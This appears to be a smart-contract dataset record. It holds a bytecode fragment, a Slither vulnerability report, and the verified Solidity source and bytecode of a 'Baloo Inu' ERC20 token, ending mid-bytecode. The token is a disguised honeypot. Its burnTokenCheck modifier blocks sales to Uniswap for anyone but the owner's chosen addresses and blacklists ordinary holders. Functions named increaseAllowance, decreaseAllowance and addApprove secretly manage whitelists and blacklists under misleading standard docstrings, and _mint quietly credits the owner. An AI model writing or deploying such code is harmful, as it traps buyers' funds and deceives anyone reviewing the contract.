0209050600081600101541115610316578060050160009054906101000a900460ff166102e457600080fd5b600061030582600301546102f78a610cb5565b610df090919063ffffffff16565b90506000811461031457600080fd5b505b7f0000000000000000000000008eedefe828a0f16c8fc80e46a87bc0f1de2d960c73ffffffffffffffffffffffffffffffffffffffff166323b872dd61035a610e4f565b30896040518463ffffffff1660e01b815260040161037a9392919061158a565b602060405180830381600087803b15801561039457600080fd5b505af11580156103a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103cc9190611281565b506103da8787878787610e57565b600191505095945050505050565b6000610447600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015461043984610cb5565b610df090919063ffffffff16565b9050919050565b610456610e4f565b73ffffffffffffffffffffffffffffffffffffffff16610474610ad5565b73ffffffffffffffffffffffffffffffffffffffff16146104ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c1906116c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561053a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053190611605565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610586610e4f565b73ffffffffffffffffffffffffffffffffffffffff166105a4610ad5565b73ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f1906116c5565b60405180910390fd5b6106046000610f41565b565b6000610610610e4f565b73ffffffffffffffffffffffffffffffffffffffff1661062e610ad5565b73ffffffffffffffffffffffffffffffffffffffff1614610684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067b906116c5565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060050160009054906101000a900460ff16156106e357600080fd5b60008160040154905060006106f785610cb5565b9050600061070e8284610df090919063ffffffff16565b90506000811161071d57600080fd5b60018460050160006101000a81548160ff0219169083151502179055508184600401819055507f0000000000000000000000008eedefe828a0f16c8fc80e46a87bc0f1de2d960c73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610787610ad5565b836040518363ffffffff1660e01b81526004016107a59291906115c1565b602060405180830381600087803b1580156107bf57600080fd5b505af11580156107d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f79190611281565b508573ffffffffffffffffffffffffffffffffffffffff167f68d870ac0aff3819234e8a1fc8f357b40d75212f2dc8594b97690fa205b3bab260405160405180910390a26001945050505050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cf906116e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095f90611685565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610a7333610afe565b6001905090565b60026020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154908060050160009054906101000a900460ff16905086565b6000610ace82610cb5565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b3857600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000610b8683611005565b905060008111610b9557600080fd5b610bac81836003015461106b90919063ffffffff16565b82600301819055507f0000000000000000000000008eedefe828a0f16c8fc80e46a87bc0f1de2d960c73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401610c0f9291906115c1565b602060405180830381600087803b158015610c2957600080fd5b505af1158015610c3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c619190611281565b508273ffffffffffffffffffffffffffffffffffffffff167f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a9182604051610ca89190611705565b60405180910390a2505050565b600080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600401549050610d1d8260000154836001015461106b90919063ffffffff16565b421015610d2f57600092505050610deb565b610d4a8260020154836001015461106b90919063ffffffff16565b42101580610d6657508160050160009054906101000a900460ff165b15610d75578092505050610deb565b6000610da48360000154610d96856001015442610df090919063ffffffff16565b6110c990919063ffffffff16565b9050610de58360020154610dd7610dc886600001548561112790919063ffffffff16565b8561112790919063ffffffff16565b6110c990919063ffffffff16565b93505050505b919050565b600082821115610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c90611645565b60405180910390fd5b60008284610e439190611873565b90508091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e9157600080fd5b42811015610e9e57600080fd5b81831115610eab57600080fd5b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508381600001819055508181600101819055508281600201819055508481600401819055506000816003018190555060008160050160006101000a81548160ff021916908315150217905550505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000611064600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015461105684610cb5565b610df090919063ffffffff16565b9050919050565b600080828461107a9190611792565b9050838110156110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b690611625565b60405180910390fd5b8091505092915050565b600080821161110d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110490611665565b60405180910390fd5b6000828461111b91906117e8565b90508091505092915050565b60008083141561113a576000905061119c565b600082846111489190611819565b905082848261115791906117e8565b14611197576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118e906116a5565b60405180910390fd5b809150505b92915050565b6000813590506111b18161194d565b92915050565b6000815190506111c681611964565b92915050565b6000813590506111db8161197b565b92915050565b6000602082840312156111f357600080fd5b6000611201848285016111a2565b91505092915050565b600080600080600060a0868803121561122257600080fd5b6000611230888289016111a2565b9550506020611241888289016111cc565b9450506040611252888289016111cc565b9350506060611263888289016111cc565b9250506080611274888289016111cc565b9150509295509295909350565b60006020828403121561129357600080fd5b60006112a1848285016111b7565b91505092915050565b6112b3816118a7565b82525050565b6112c2816118b9565b82525050565b60006112d5602683611781565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061133b601b83611781565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b600061137b601e83611781565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b60006113bb601a83611781565b91507f536166654d6174683a206469766973696f6e206279207a65726f0000000000006000830152602082019050919050565b60006113fb602883611781565b91507f4f776e61626c653a206f776e6572736869702069732072656e6f756e6368656460008301527f20616c72656164790000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611461602183611781565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114c7602083611781565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611507602483611781565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206e6577206f60008301527f776e6572000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611569816118e5565b82525050565b600060208201905061158460008301846112aa565b92915050565b600060608201905061159f60008301866112aa565b6115ac60208301856112aa565b6115b96040830184611560565b949350505050565b60006040820190506115d660008301856112aa565b6115e36020830184611560565b9392505050565b60006020820190506115ff60008301846112b9565b92915050565b6000602082019050818103600083015261161e816112c8565b9050919050565b6000602082019050818103600083015261163e8161132e565b9050919050565b6000602082019050818103600083015261165e8161136e565b9050919050565b6000602082019050818103600083015261167e816113ae565b9050919050565b6000602082019050818103600083015261169e816113ee565b9050919050565b600060208201905081810360008301526116be81611454565b9050919050565b600060208201905081810360008301526116de816114ba565b9050919050565b600060208201905081810360008301526116fe816114fa565b9050919050565b600060208201905061171a6000830184611560565b92915050565b600060c0820190506117356000830189611560565b6117426020830188611560565b61174f6040830187611560565b61175c6060830186611560565b6117696080830185611560565b61177660a08301846112b9565b979650505050505050565b600082825260208201905092915050565b600061179d826118e5565b91506117a8836118e5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117dd576117dc6118ef565b5b828201905092915050565b60006117f3826118e5565b91506117fe836118e5565b92508261180e5761180d61191e565b5b828204905092915050565b6000611824826118e5565b915061182f836118e5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611868576118676118ef565b5b828202905092915050565b600061187e826118e5565b9150611889836118e5565b92508282101561189c5761189b6118ef565b5b828203905092915050565b60006118b2826118c5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b611956816118a7565b811461196157600080fd5b50565b61196d816118b9565b811461197857600080fd5b50565b611984816118e5565b811461198f57600080fd5b5056fea264697066735822122096976b2502c7f6ea733649514130d7a245589ab7fba8107dbb80029b76917e2964736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 112 |
0x88e23b19fd3f49b2b7d4138532c3977f6114c355 | /**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
pragma solidity ^0.6.0;
/**
- Baloo Inu (Baloo)
- https://t.me/balooinu
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TokenContract is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(owner, initialSupply*(10**18));
_mint(0xcd0f8E721B319e876aD9bEa55B46e30f88B21358, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161